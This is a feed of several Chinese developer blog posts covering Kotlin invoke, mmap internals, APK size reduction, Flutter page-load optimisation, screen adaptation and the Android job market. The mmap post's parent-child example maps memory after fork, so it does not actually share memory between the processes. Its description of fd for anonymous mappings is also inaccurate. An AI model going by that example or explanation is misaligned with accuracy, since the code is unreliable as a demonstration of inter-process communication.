我不得不点击 UserUsecase 类去看下里面的代码,这对于 review 人来说简直是灾难,但为了解决问题,先妥协,再一探究竟。

进入 UserUsecase 类,伪代码如下:

class UserUsecase {
   operator fun invoke(userId: Int): User {
       // 从数据库中根据 id 获取 User 数据
       // 返回 User 数据
       return User("lisi", 30)
  }
}

看到了奇怪的 invoke 函数,并且是用了 operator 操作重载符,为了了解这种语法,我在 Kotlin 中文网查了下该语法的使用,在调用操作符章节中有所说明:


对象() 等价于 对象.invoke()()内为函数的参数,也即我们上面的那段代码,可以翻译一下:

class UserViewModel(val userUsecase: UserUsecase) {
   fun getUser() {
       val name = userUsecase(1001).name
       // 等价于
       val name2 = userUsecase.invoke(1001).name
  }
}

也可以用 Kotlin Decompile 看下结果:


需要说明的是,对象() 这种写法是有条件的:

  • 必须用 operator 修饰方法

  • 方法名称必须是 invoke

  • invoke 参数可以多个,不做限制

由于 invoke 函数参数不加限制,这又带来了一个问题,如果重载了多个 invoke 函数,就更不知道业务方在调用的时候是做了什么事情,依然不得不进入代码才能知道逻辑。

上面的示例给的已足够简单,但实际在我们的业务中,比这还复杂,invoke 函数被封装到了父类,当我点进去的时候根本找不到 invoke 函数,只能往上查看父类有没有,在找到 invoke 函数时才发现,他最终调用了个抽象方法,该抽象方法由子类实现,我又不得不返回到子类查看这个方法,最终才敲定这个方法做了什么逻辑。

总结:

虽然 operator invoke 可以省略调用方写函数名这个过程,但需要注意的是,代码无论是类名还是方法名还是变量名,一定要做到见名识意,显然,他已经破坏了这个规则,让 review 人很抓狂。

我也很理解大家对 Jetpack 的热爱,这种写法在官方也有出现,可以参考 Domain Layer 这章。但我想说的是,省略方法名这个过程真的有必要吗?写代码到底是为了炫技还是为了让别人能看懂自己的代码呢?


作者:codelang
来源:juejin.cn/post/7081112122179977224

收起阅读 »

深入理解MMAP原理,大厂爱不释手的技术手段

为什么大厂爱不释手如微信的MMKV 组件、美团的Logan组件,还有微信的日志模块xlog,为什么大厂偏爱它呢?他到底有什么魔力么?我认为主要原因如下:跨平台,C++编写,可以支持多平台跨进程,通过文件共享可以实现多个进程内存共享,实现进程通信高性能,实现用户...
继续阅读 »

为什么大厂爱不释手

如微信的MMKV 组件、美团的Logan组件,还有微信的日志模块xlog,为什么大厂偏爱它呢?他到底有什么魔力么?我认为主要原因如下:

  • 跨平台,C++编写,可以支持多平台

  • 跨进程,通过文件共享可以实现多个进程内存共享,实现进程通信

  • 高性能,实现用户空间和内核空间的零拷贝,速度快且节约内存等

  • 高稳定,页中断保护神,由操作系统实现的,稳定性可想而知

函数介绍

void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset);
复制代码
  • addr 代表映射的虚拟内存起始地址;

  • length 代表该映射长度;

  • prot 描述了这块新的内存区域的访问权限;

  • flags 描述了该映射的类型;

  • fd 代表文件描述符;

  • offset 代表文件内的偏移值。

mmap的强大之处在于,它可以根据参数配置,用于创建共享内存,从而提高文件映射区域的IO效率,实现IO零拷贝,后面讲下零拷贝的技术,对比下,决定这些功能的主要就是三个参数,下面一一解释

prot

四种情况如下:

  • PROT_EXEC,代表该内存映射有可执行权限,可以看成是代码段,通常存储CPU可执行机器码

  • PROT_READ,代表该内存映射可读

  • PROT_WRITE,代表该内存映射可写

  • PROT_NONE,代表该内存映射不能被访问

flags

比较有代表性的如下:

  • MAP_SHARED,创建一个共享映射区域

  • MAP_PRIVATE,创建一个私有映射区域

  • MAP_ANONYMOUS,创建一个匿名映射区域,该情况只需要传入-1即可

  • MAP_FIXED,当操作系统以addr为起始地址进行内存映射时,如果发现不能满足长度或者权限要求时,将映射失败,如果非MAP_FIXED,则系统就会再找其他合适的区域进行映射

fd

当参数fd不等于0时,内存映射将与文件进行关联,如果等于0,就会变成匿名映射,此时flags必为MAP_ANONYMOUS

应用场景


一个mmap竟有如此丰富的功能,从申请分配内存到加载动态库,再到进程间通信,真的是无所不能,强大到让人五体投地。下面就着四种情况,拿一个我最关心的父子进程通信来举例看下,实现一个简单的父子进程通信逻辑,毕竟我们学习的目的就是为了应用,光有理论怎么能称之为合格的博客呢?

父子进程共享内存

#include <iostream>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/mman.h>

int main() {
  pid_t c_pid = fork();

  char* shm = (char*)mmap(nullptr, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);

  if (c_pid == -1) {
      perror("fork");
      exit(EXIT_FAILURE);
  } else if (c_pid > 0) {
      printf("parent process pid: %d\n", getpid());
      sprintf(shm, "%s", "hello, my child");
      printf("parent process got a message: %s\n", shm);
      wait(nullptr);
  } else {
      printf("child process pid: %d\n", getpid());
      sprintf(shm, "%s", "hello, father.");
      printf("child process got a message: %s\n", shm);
      exit(EXIT_SUCCESS);
  }

  return EXIT_SUCCESS;
}

运行后打印如下

parent process pid: 87799
parent process got a message: hello, my child
child process pid: 87800
child process got a message: hello, father.

Process finished with exit code 0

用mmap创建了一块匿名共享内存区域,fd传入-1MAP_ANONYMOUS配置实现匿名映射,使用MAP_SHARED创建共享区域,使用fork函数创建子进程,这样来实现子进程通信,通过sprintf将格式化后的数据写入到共享内存中。

通过简单的几行代码就实现了跨进程通信,如此简单,这么强大的东西,背后有什么支撑么?带着问题我们接着一探究竟。

MMAP背后的保护神

说到MMAP的保护神,首页了解下内存页:在页式虚拟存储器中,会在虚拟存储空间和物理主存空间都分割为一个个固定大小的页,为线程分配内存是也是以页为单位。比如:页的大小为 4K,那么 4GB 存储空间就需要4GB/4KB=1M 条记录,即有 100 多万个 4KB 的页,内存页中,当用户发生文件读写时,内核会申请一个内存页与文件进行读写操作,如图


这时如果内存页中没有数据,就会发生一种中断机制,它就叫缺页中断,此中断就是MMAP的保护神,为什么这么说呢?我们知道mmap函数调用后,在分配时只是建立了进程虚拟地址空间,并没有分配虚拟内存对应的物理内存,当访问这些没有建立映射关系的虚拟内存时,CPU加载指令发现代码段是缺失的,就触发了缺页中断,中断后,内核通过检查虚拟地址的所在区域,发现存在内存映射,就可以通过虚拟内存地址计算文件偏移,定位到内存所缺的页对应的文件的页,由内核启动磁盘IO,将对应的页从磁盘加载到内存中。最终保护mmap能顺利进行,无私奉献。了解完缺页中断,我们再来细聊下mmap四种场景下的内存分配原理

四种场景分配原理


上面是一个简单的原理总结,并没有详细的展开,感兴趣可以自己查查资料哈。

总结

本次分享,主要介绍了mmap的四种应用场景,通过一个实例验证了父子进程间的通信,并深入mmap找到它的保护神,且深入了解到mmap在四种场景下,操作系统是如何组织分配,通过对这些的了解,在你之后的mmap实战应用有了更好的理论基础,可以根据不同的需求,不同的性能要求等,选择最合适的实现。


作者:i校长
来源:juejin.cn/post/7119116943256190990

收起阅读 »

以往项目中的压缩apk经验

过往的开发中,由于项目中使用的图片、音乐文件、特殊字体文件,以及导入的第三包等导致了最后生成的apk往往体积过大。过大的apk对于用户来说体验会非常的差,下载慢、耗费流量多等。所以开发者需要适当的压缩自己的apk。1.无需国际化时,去除额外的语言配置在项目ap...
继续阅读 »

过往的开发中,由于项目中使用的图片、音乐文件、特殊字体文件,以及导入的第三包等导致了最后生成的apk往往体积过大。过大的apk对于用户来说体验会非常的差,下载慢、耗费流量多等。所以开发者需要适当的压缩自己的apk。

1.无需国际化时,去除额外的语言配置

在项目app module的build.gradle中的defaultConfig中配置 resConfigs,仅配置需要的语言选项。


2.去除不需要的so架构

在项目app module的build.gradle中的defautlConfig中配置 ndk,仅配置需要的so库。 armeabi-v7a,arm64-v8a基本满足需求,如果需要用虚拟机测试可以加上x86


3.使用webg替代png或jpg

webp格式是谷歌推出的一种有损压缩格式,这种图片格式相比png或jpg格式的图片损失的质量几乎可以忽略不计,但是压缩后的图片体积却比png或jpg要小很多。

4.混淆配置

分为代码混淆和资源混淆

4.1代码混淆

proguard可以混淆以及优化代码,减小dex文件的大小,开启后需要需要配置proguard-rules.pro文件来保留不需要混淆的类,以及第三方包的类。 在项目app module的buildType中的release中设置minifyEnable为true,即可开启混淆, proguardFiles 是你制定的混淆规则文件。


4.3资源混淆

关于资源混淆,我使用的是微信的AndResGuard,它会将资源路径变短。 项目github地址:github.com/shwenzhang/…

配置过程: 1.在项目级的build.gradle添加


2.在app module中的build.gralde中添加插件


3.在app module中的build.gradle中添加andResGuard,需要注意的是whiteList,该项目的github中有列了一些三方库需要添加的白名单,还有特别要注意的是项目中如果有使用getIdentifier来查找drawable资源或者mipmap资源,需要将资源名也加入到白名单。



作者:ChenYhong
来源:juejin.cn/post/7027480502193881101

收起阅读 »

移动端页面秒开优化总结

前言  App优化,是一个工作、面试或KPI都绕不开的话题,如何让用户使用流畅呢?今天谨以此篇文章总结一下过去两个月我在工作中的优化事项到底有那些,优化方面还算小白,有不对的地方还望指出海涵, 该文章主要通过讲述Native跳转到Flutter界面秒开率提升。...
继续阅读 »

前言

  App优化,是一个工作、面试或KPI都绕不开的话题,如何让用户使用流畅呢?今天谨以此篇文章总结一下过去两个月我在工作中的优化事项到底有那些,优化方面还算小白,有不对的地方还望指出海涵, 该文章主要通过讲述Native跳转到Flutter界面秒开率提升

问题分析

  当你拿到反馈App页面渲染时间长的工单的时候,第一步想到的不应该是有那些那些方法可以降低耗时,我们应该根据自己的真实业务触发,第一步 验证 通过打点或者工具去验证这个问题,了解 一个页面打开耗时的统计方式分析一个打开耗时是由那些方面组成,通过那些技术手段去解决80%的问题,抓大放小去处理问题。

  通过工具分析启动链路耗时,发现部分必要接口RT时间较长,Flutter引擎冷启耗时较长和View渲染耗时为主要耗时项。接下来就围绕着三个大方面去做一些优化。

网络优化

   以Android 界面跳转链路来说 ,具体链路看下图(模拟数据 主要明白思想)


   看到串行,就知道这里肯定可以有文章做


  可以看到在网络请求可以提前到 Router环节去解析并进行预加载,并行的话可以优化 必要接口RT的时长,节省的时间在页面秒开链路中占比最多。

  在这里需要兼容网络返回较慢的情况,我们可以引入骨架图,提升上屏率。

数据预请求

Router和请求

  通过拦截路由地址,判断路径是否属于预请求白名单。如果匹配,进入预请求逻辑,发起网络拼接和请求,在获取到结果进行本地缓存,供消费界面去消费。因为考虑到网络返回如果慢与界面,可以提供回调,消费界面进来进行绑定。

端侧通讯

   由于Native 跳转到 Flutter ,所以这里需要借助 Channel来进行管道传递,这里我们没有使用MethodChannel 而是选择 可以Native主动通知Flutter 的EventChannel来接收消息。

public class EventChannelManager implements IFlutterProphetPlugin {
   private static Map<String, EventChannel.EventSink> cachedEventSinkMap = new HashMap<>();
   private static LinkedList<Object> dataList = new LinkedList<>();

   public final static String CHANNEL_REQUEST_PRE = "event_channel";

   private static EventChannelManager instance;

   public static EventChannelManager getInstance() {
       if (null == instance) {
           instance = new EventChannelManager();
      }
       return instance;
  }

   @Creator
   public static IFlutterProphetPlugin create() {
       return new EventChannelManager();
  }

   //初始化
   @Override
   public void initChannel(FlutterEngine engine) {
       try {
           EventChannel eventChannel_pre = new EventChannel(engine.getDartExecutor(), CHANNEL_REQUEST_PRE);
           eventChannel_pre.setStreamHandler(new ProphetStreamHandler(CHANNEL_REQUEST_PRE));
      } catch (Exception ex) {
           Log.e(TAG, "init channel err :" + ex.getMessage());
      }
  }

   //发送消息
   @Override
   public void sendEventToStream(String eventChannel, Object data) {
       synchronized (this) {
           try {
               EventChannel.EventSink eventSink = cachedEventSinkMap.get(eventChannel);
               if (null != eventSink) {
                   eventSink.success(data);
              } else {
                   dataList.add(data);
              }
          } catch (Exception ex) {
          }
      }
  }

   //关闭
   public void cancel(String eventChannel) {
       EventChannel.EventSink eventSink = cachedEventSinkMap.get(eventChannel);
       if (null != eventSink) {
           eventSink.endOfStream();
      }
  }

   public static class ProphetStreamHandler implements EventChannel.StreamHandler {
       private String eventChannel;

       public ProphetStreamHandler(String eventChannel) {
           this.eventChannel = eventChannel;
      }

       @Override
       public void onListen(Object arguments, EventChannel.EventSink events) {
           cachedEventSinkMap.put(eventChannel, events);
           if (dataList.size() != 0) {
               for (Object obj : dataList) {
                   events.success(obj);
              }
               dataList.clear();
          }
      }

       @Override
       public void onCancel(Object arguments) {
           cachedEventSinkMap.remove(eventChannel);
      }
  }

}

上述代码为通用EventChannel创建和发送消息工具类,接口不贴了....

缓存

  预请求模块中,如果网络请求结果成功,可以将结果写入缓存SDK中(可以根据缓存SDK策略,内存和磁盘缓存都做好处理)。结合缓存策略,再次进入界面即可先读取缓存数据上屏,通过顶部Load状态提醒用户 预请求的数据正在加载中,来缩短秒开时间。

端智能

  通过大数据和算法对用户习惯性的使用链路进行分析,判断用户下一个节点将会进入哪个界面,匹配到预请求白名单,也可以更早的进行预请求逻辑 (没有集团SDK支撑的话可以不列为主要优化方式)。


数据后带

  以自己维护的App来说,首屏商品列表会返回很多数据包括但不限于:商品Url、商品名称、价格等核心信息,在进入商品详情中,我们通常会把商品id发送到详情界面,并再次进行商品详情接口的请求,那么我们可以通过数据后带的方式,先让详情页核心数据显示出来,然后通过局部骨架图来等待详情信息的返回,感官上缩短界面等待时长。

数据延后

  首屏中还会有很多二级弹窗列表数据接口的请求,其实这里的接口可以通过延后的方式来加载并渲染出来,减少首屏刚开始的CPU使用,为核心View渲染让步,减少CPU竞争。

业务逻辑优化

  部分不重要接口除了可以延后处理外,还可以通过推动后端合理缩小数据结构,减少不必要的网络消耗产生。对于部分小量接口,可以通过搭车的方式 进行接口合并 一块返回,部分数据可能不需要实时更新的,可以减少不必要请求来进行优化。

布局优化

异步加载

  假设场景是搜索结果列表,我们可以在数据请求前置的同时,去异步 inflate 一些 recyclerview 的 itemview,渲染阶段就可以节约 createViewHolder 的时间。(这里只是进行一个场景举例,更多的使用方法和业务强耦合,需要自行分析和合理设计避免负向优化)

递进加载

  顾名思义,其实递进加载和数据延后请求原理相似,每个界面可能都会有重要View,以商品列表为例,我可能更希望商品列表数据先返回回来,其他的接口可以延后,提升界面渲染速度。

作者:小肥羊冲冲冲Android
来源:juejin.cn/post/7121636526596816933

收起阅读 »

如何让一套代码完美适配各种屏幕?

一、适配的目的区别于iOS,android设备有不同的分辨率大小以及不同厂商的系统,目前市场的分辨率可以看下相关统计。2021市场移动设备分辨率统计可以看到主流的分辨率有10多种,当不做适配时,一套代码在不同设备上的效果偏大、偏小、截断以及留白严重,那一套代码...
继续阅读 »


一、适配的目的

区别于iOS,android设备有不同的分辨率大小以及不同厂商的系统,目前市场的分辨率可以看下相关统计。

2021市场移动设备分辨率统计

可以看到主流的分辨率有10多种,当不做适配时,一套代码在不同设备上的效果偏大、偏小、截断以及留白严重,那一套代码如何完美的展示在不同的设备上,可以看下面的一些适配方案。

二、UI适配

2.1、常见的适配方式

2.1.1、xml布局控件适配

  1. 避免写死View的宽高,尽量使用warp_content和match_parent;

  2. 父布局为LinearLayout,选择使用android:layout_weight属性,为布局中的每个子View设置权重;

  3. 父布局为RelativeLayout,可以选择使用layout_centerInParent等属性,设置子View的相对位置;

  4. 谷歌官方在之前版本中提供了一个百分比布局方式:support:percent,它支持RelativeLayout和FrameLayout的百分比布局,但是目前官方已经不再维护,而将他取而代之的是新晋布局:ConstraintLayout,ConstraintLayout强大之处不仅在于它能够进行百分比布局,还可以进行相对定位、角度定位、尺寸约束、宽高比、Chainl链布局等,在不同设备间都能处理的游刃有余。

2.1.2、图片适配

  1. .9图
    .9.png图片本质上还是png图片,相对于普通png图来说,.9图可以让图片在指定的位置拉伸和在指定的位置显示内容且不会失真;

  2. 见2.1.4分辨率限定符;

2.1.3、依据产品设计适配

所谓产品设计适配,指的是产品流程在不同设备上有不同的展示方式,例如手机与Pad的区别,在手机设备上,一般来说具体Item列表是一个页面,点击每个Item会跳转至新的详情页;而在宽度>高度的Pad上,为了防止页面空白浪费,一般会要求屏幕左侧为Item列表,右侧即详情页,item与详情页会同时出现在用户的视觉内,如下图


关于这种类型的设计,其实郭霖《第一行代码》给出了一个方案,我在这里抛砖引玉一下,给出基本思路。

这种情况下,适配的核心在于利用android动态加载布局的机制,使得程序能够根据分辨率或者屏幕大小在运行时动态加载不同的布局,而动态加载就需要使用到限定符

  • 限定符 所谓限定符,指的是给res目录中的子目录加上“-限定符”,可以给不同设备提供不同的资源以及布局,如下图,layout添加-large,-small。


layout-small:指的是提供给小屏幕设备的资源;
layout-large:指的是提供给大屏幕设备的资源;
layout/layout-normal:指的是提供给中等屏幕设备的资源,也就是默认状态;
layout-xlarge:值得是提供给超大屏幕设备的资源;

在上面所提出的情景下,Pad即指的大屏幕,手机一般可看作为中等屏幕设备,为了在大屏幕下显示双页模式,我们可以在layout-large和layout目录下新建同一个name的布局xml,在layout-large下的xml针对Pad做双页处理,即左半边View+右半边View样式,layout目录下xml还是做普通处理。

在最后项目运行时,会根据不同设备来加载不同目录下的xml资源,即Pad会加载layout-large目录下的xml,普通手机设备会加载layout目录下的xml资源。

从而实现一套代码在不同设备上产品逻辑。

限定符可以大范围的区分设备,但是你还是不知道-large代表是多大的设备,-small代表的是多小的设备,如果需要清楚的区分各个屏幕的大小,那就需要用到最小宽度限定符。

  • 最小宽度限定符(Smallest-width Qualifier),简称SW 最小宽度限定符指的是,对屏幕的宽度设立一个最小的值(dp),当当前设备屏幕宽度大于这个值就加载一个布局,


例如在res下新建一个layout-sw720dp的文件夹,当屏幕宽度大于720dp时,项目就会加载layout-sw720dp/***.xml 资源文件。

2.1.4、限定符适配

在2.1.3中提到了限定符的概念,也解决了一部分的设计适配问题,但是还有一些限定符的概念没有涉及到,该目录下将会提到不同的限定符的概念,可以结合2.1.3一起食用。

  • 分辨率限定符 在Android项目中,会把放置图片资源的文件夹分为drawable-hdpi、xhdpi xxhdpi xxxhdpi等,这些指的就是分辨率限定符。

Andriod系统会根据手机屏幕的大小及屏幕密度去选择不同文件夹下的图片资源,以此来实现在不同大小不同屏幕分辨率下适配的问题。

这里提一点AS对图片资源的匹配规则:

举个例子,当当前的设备密度为xhdpi,此时代码中ImageView需要去引用drawable中的图片,那么根据匹配规则,系统首先会在drawable-xhdpi文件夹中去搜索,如果需要的图片存在,那么直接显示;如果不存在,那么系统将会开始从更高dpi中搜索,例如drawable-xxhdpi,drawable-xxxhdpi,如果在高dpi中搜索不到需要的图片,那么就会去drawable-nodpi中搜索,有则显示,无则继续向低dpi,如drawable-hdpi,drawable-mdpi,drawable-ldpi等文件夹一级一级搜索.

当在比当前设备密度低的文件夹中搜到图片,那么在ImageView(宽高在wrap_content状态下)中显示的图片将会被放大.图片放大也就意味着所占内存也开始增多.这也就是为什么分辨率不高的图片随意放置在drawable中也会出现OOM,而在高密度文件夹中搜到图片,图片在该设备上将会被缩小,内存也就相应减少。

在理想的状态下,不同dpi的文件下应该放置相应dpi的图片资源,以对不同的设备进行适配。

  • 尺寸限定符和最小宽度限定符 见2.1.3

  • 屏幕方向限定符 屏幕方向限定符即“-land”、“-port”,分别代表横排和竖屏。

手机会存在横竖屏切换的场景,当设备横屏时,会主动加载layout-land/目录下的资源文件,当设备为竖屏时,则加载layout-port目录下的资源文件。

2.2、今日头条适配方式

在开始今日头条的适配方案之前,需要提及px、dpi、density的概念。

px:即像素,我们常看到的480 * 800 、720 * 1280、1080 * 1920指的就是像素值宽高的意思;

dpi:即densityDpi,每英寸中的像素数;

density:屏幕密度,density = dpi / 160;

scaledDensity:字体的缩放因子,正常情况下和density相等,但是调节系统字体大小后会改变这个值

android中的dp在渲染前会将dp转为px,计算公式:

  • px = density * dp

从dp和px的转换公式 :px = dp * density 可以看出,如果设计图宽为360dp,想要保证在所有设备计算得出的px值都正好是屏幕宽度的话,我们只能修改 density 的值。这就是该方案的核心。

那如何修改系统的density?

可以通过DisplayMetrics获取系统density和scaledDensity值,

val displayMetrics = application.resources.displayMetrics

val density = displayMetrics.density
val scaledDensity = displayMetrics.scaledDensity
复制代码

设配的目的在于使用一套设计稿,能完好的展示在不同设备上,所以UI需要确定一个固定的尺寸,依据density=px / dp的公式,确定density的值,其中px指的是真实设备的值, 这里我们以设计稿的宽度作为一个纬度进行测算。

举个例子,如设计稿中固定宽度为360dp,当前设备的屏幕宽度为720,那么density = 720 / 360 = 2,其中当前设备的屏幕宽度也可以用DisplayMetrics来获取:

val targetDensity = displayMetrics.widthPixels / 360
复制代码

整体思路

//0.获取当前app的屏幕显示信息
val displayMetrics = application.resources.displayMetrics
if (appDensity == 0f) {
   //1.初始化赋值操作 获取app初始density和scaledDensity
   appDensity = displayMetrics.density
   appScaleDensity = displayMetrics.scaledDensity
}

/*
2.计算目标值density, scaleDensity, densityDpi
targetDensity为当前设备的宽度/设计稿固定的宽度
targetScaleDensity:目标字体缩放Density,等比例测算
targetDensityDpi:density = dpi / 160 即dpi = density * 160
*/
val targetDensity = displayMetrics.widthPixels / WIDTH
val targetScaleDensity = targetDensity * (appScaleDensity / appDensity)
val targetDensityDpi = (targetDensity * 160).toInt()

//3.替换Activity的density, scaleDensity, densityDpi
val dm = activity.resources.displayMetrics
dm.density = targetDensity
dm.scaledDensity = targetScaleDensity
dm.densityDpi = targetDensityDpi
复制代码

三、刘海屏适配



  • 有状态栏的界面:刘海区域会显示状态栏,无需适配;

  • 全屏界面:刘海区域可能遮挡内容,需要适配;

针对刘海屏适配,在Android P以上,谷歌官方给出了适配方案,可参考developer.android.google.cn/guide/topic… ,所以在 targetApi >= 28 上可以使用谷歌官方推荐的适配方案进行刘海屏适配。 而在Android O的设备上,如华为、小米、oppo等厂商给出了适配方案。

3.1、Android9.0官方适配

将内容呈现到刘海区域中,则可以使用 WindowInsets.getDisplayCutout() 来检索 DisplayCutout 对象,同时可以使用窗口布局属性 layoutInDisplayCutoutMode 控制内容如何呈现在刘海区域中。

layoutInDisplayCutoutMode

  • LAYOUT_IN_DISPLAY_CUTOUT_MODE_DEFAULT :在竖屏模式下,内容会呈现到刘海区域中;但在横屏模式下,内容会显示黑边。

  • LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES:在竖屏模式和横屏模式下,内容都会呈现到刘海区域中。

  • LAYOUT_IN_DISPLAY_CUTOUT_MODE_NEVER:内容从不呈现到刘海区域中。

/**
* @param mode 刘海屏下内容显示模式,针对Android9.0
LAYOUT_IN_DISPLAY_CUTOUT_MODE_DEFAULT = 0; //在竖屏模式下,内容会呈现到刘海区域中;但在横屏模式下,内容会显示黑边
LAYOUT_IN_DISPLAY_CUTOUT_MODE_NEVER = 2;//不允许内容延伸进刘海区
LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES = 1;//在竖屏模式和横屏模式下,内容都会呈现到刘海区域中
*/
@RequiresApi(Build.VERSION_CODES.P)
private fun setDisplayCutoutMode(mode: Int) {
   window.attributes.apply {
       this.layoutInDisplayCutoutMode = mode
       window.attributes = this
  }

}
复制代码

判断是否当前设备是否有刘海:

/**
* 判断当前设备是否有刘海
*/
@RequiresApi(Build.VERSION_CODES.P)
private fun hasCutout(): Boolean {
   window.decorView.rootWindowInsets?.let {
       it.displayCutout?.let {
           if (it.boundingRects.size > 0 && it.safeInsetTop > 0) {
               return true
          }
      }
  }
   return false
}
复制代码

在activity的 setContentView(R.layout.activity_main)之前设置layoutInDisplayCutoutMode。

LAYOUT_IN_DISPLAY_CUTOUT_MODE_DEFAULTLAYOUT_IN_DISPLAY_CUTOUT_MODE_NEVERLAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES



3.2、各大厂商适配方案(华为、小米、oppo等)

除了在AndroidP系统下官方给了适配方案,各大厂商针对自家系统也给出了相应的适配方案,可参考:

oppo
vivo
小米
华为

参考文档
今日头条适配方案
Android9.0官方适配方案

作者:付十一

来源:juejin.cn/post/7117630529595244558

收起阅读 »

Android 开发还有必要深耕吗?现状怎么样?未来前景将会怎样?

截止到今天,Android的生态发生了不少变化以前的鼎盛时期,堪称是个公司就做App,由于当时市场上缺乏Android开发,招聘往往是低要求、高薪资,只要你面试说得上四大组件,第二天马上拎包入职,线下的Android培训也是一抓一大把,吸引了一大批人涌入And...
继续阅读 »

截止到今天,Android的生态发生了不少变化

以前的鼎盛时期,堪称是个公司就做App,由于当时市场上缺乏Android开发,招聘往往是低要求、高薪资,只要你面试说得上四大组件,第二天马上拎包入职,线下的Android培训也是一抓一大把,吸引了一大批人涌入Android开发行业。Android招聘市场的需求逐渐被填充,招聘要求逐步提高……

随着“互联网寒冬”的到来,大批互联网公司纷纷倒闭,大厂也纷纷裁员节流,人才供给大幅增加、需求大幅降低,造成当时的市场迅速达到饱和。培训出来的初级Android开发找不到工作,大厂被裁员的Android开发放不下薪资要求,这批人找不到工作,再加上当时自媒体的大肆渲染,Android开发可不就“凉了”吗?

毫不夸张的说,早期说得上四大组件稍微能做一点点,拿个15-20k是比较轻松的,要是你还有过完整开发经验,30k真是一点都不过分,而在“寒冬”之后,当招聘市场供给过剩时,面试官有了充分的选择权,你会四大组件,那我就有完整App独立开发经验,另一人或许有过十万级App开发经验,你说面试官会收下谁呢?岗位招聘要求也是在这时迅速拔高,整个Android市场逐渐趋于平稳,大家感觉Android开发来到了内卷期……

再来说现在:

Android凉了吗?

其实并不是Android凉了,而是技术不过硬的Android凉了

被高薪晃晕了头脑放不下身段的假高工凉了

现在的Android市场,Android初级工程师早就已经严重饱和了,供远大于求。这就导致了很多Android开发会面临被优化、被毕业、找不到工作这种情况,然后这部分人又出来说Android凉了,如此循环之下,以致于很多人都觉得Android凉了……

其核心原因只是Android开发市场由鼎盛的疯狂逐渐趋于平稳

这里也给出Android开发薪资/年限图给大家参考:


也不缺少学历突出的、能力突出的、努力突出的,这三类都可以拿到比图中同级别更可观的薪资

当然,我们并不能以薪资作为职级的标准,决定一个Android工程师到底是初级、中级、高级还是资深的,永远都不会是开发年限!

只有技术才能客观的作为衡量标准!

不管是几年经验,如果能力与工作年限不匹配,都会有被毕业的风险,如果掌握的技术达不到对应职级的标准,那别想了,毕业警告……

在很多人觉得Android凉了的时候,也不乏有Android开发跳槽进大厂拿高薪,不少在闷头提升技术水平,迄今为止还没有听过哪个Android开发大牛说“Android凉了”,当大家达到一定的高度之后,就会得知谁谁谁跳槽美团,几百万;某某某又跳进了阿里、腾讯……

不管在任何行业,任何岗位,初级技术人才总是供大于求;不管任何行业、岗位,技术过硬的也都是非常吃香的!

在初级市场”凉了“的同时,高级市场几乎是在抢人!

很多高薪、急招岗位挂上了招聘网站,往往一整年都面试不了几场,自打挂上来,就没动过了……

所以说,Android开发求职,质量才是关键!

再说到转行问题

我一直都比较佩服有大勇气转行的朋友,因为转行需要我们抛弃现有的知识技能,重新起航

佩服归佩服,身边不少之前是Android开发的朋友转行Java、Python,但他们对于目前市场还是过于乐观了,Python很火,它竞争不大吗?部分转行从0开始的,甚至连应届生都比不过~

不要轻易转行,如果要转一定要尽早转

转行有两种我认为是正常的,一种是行业消失了、没落了,继续留在业内无法施展才华。另一种是兴趣压根就不在本行,因此选一个自己感兴趣的。而现在大部分转行都是为了跟风,为了那看得见但摸不着的”风口“,而忽略了长期的发展潜力。


不管是学习力也好,精力也好,大部分人在35岁之前都属于加速期,加速期的一些选择,决定了35岁之后到底是上升还是衰落。

以Android开发转Python来说,一个Android高级转行Python会变为Python初级,这时从事Python的人都在加速提高,要想赶超在你之前的拥有同样学习力的人是不可能办到的,这就导致在转行前期极为被动,还要保证在35岁前成为Python专家或者Leader才有可能在35岁后不进入衰落期,当然这时你的Android基本也就荒废了,不说很难成为专家,高级也成为了一个很大的门槛。

如果你还想要在对应的技术领域走的更远,就不要轻易选择转行,如果实在想要转,那么越早越好、越快越好,你的竞争者都在加速提升技术水平,职场上,没人会停下等你的……

转行大部分都产生不了质变

我们所说的质变可以理解为在一个技术领域的大幅提升,或者是不相关领域的跨界

比如由高级开发变为专家,或者是由高级开发升到Leader,再或者跨界开始做一些技术相关的博客、培训、演讲、出书等等而被人所熟知。

凡是能帮助你在职业生涯中后期进入上升期的都可以看做是一次质变,而转行很少是质变,更多的都是倒退回到原点重新出发,形象点来说,你只是换了个不同的砖头接着搬砖而已。因此我们更应该去追求质变,而不是平行或者倒退,一次倒退或许可以承受,多次倒退就很难在职业生涯中后期再进入上升期。

其实不少转行的人都没有起到积极作用,毕竟都是从0开始,精进到专家绝不是一朝一夕可以完成的

或许到时又会有同样的问题:

前端凉了?前景怎么样?

Java凉了?前景怎么样?

大数据凉了?前景怎么样?

人工智能凉了?前景怎么样?

……

而另一类人,其实不管在哪个行业都可以混的风生水起!

如果是这种,那么想必也不需要考虑转行了。

所以根本不用想着Android凉了或是说要转行,与其焦虑不安,不如努力提升技术水平,毕竟在这时代,有硬技术的人到哪都吃香。

我们想要往高级进阶,建立属于自己的系统化知识体系才是最重要的,高工所需要掌握的技术不是通过蹭热点和玩黑科技,而是需要真正深入到核心技术的本质,知晓原理,知其然知其所以然。

可能不少人会觉得Android技术深度不深,技术栈不庞大,Android职业发展有限,这就真是个天大的误解。

先说技术上,Android的技术栈随着时间的推移变得越来越庞大,细分领域也越来越多,主要有应用开发、逆向安全、音视频、车联网、物联网、手机开发和SDK开发等等,每个细分领域都有很多技术栈组成,深度都足够精深,就拿所有细分领域通用的Android系统底层源码来说,就会叫你学起来生不如死。

还有AI、大数据、边缘计算、VR/AR,很多新的技术浪潮也都可以结合进移动开发的技术范畴……

那么现在Android怎么学?学什么?

这几年Android新技术的迭代明显加速了,有来自外部跨平台新物种的冲击,有去Java化的商业考量,也有Jetpack等官方自建平台的加速等多种原因。

作为Android开发者,我们需要密切关注的同时也不要盲目跟随,还是要认清趋势,结合项目现状学习。

Kotlin

Kotlin已经成为Android开发的官方语言,Android的新的文档和Sample代码都开始转向 Kotlin,在未来Java将加速被 Kotlin替代。

刚推出时,很多人都不愿意学习,但现在在面试中已经是经常会出现了,很多大公司也都已经拥抱新技术了。现在Kotlin是一个很明显的趋势了,不少新技术都需要结合Kotlin来使用,未来在工作中、面试中所占的比重肯定会更大。

Jetpack+Compose

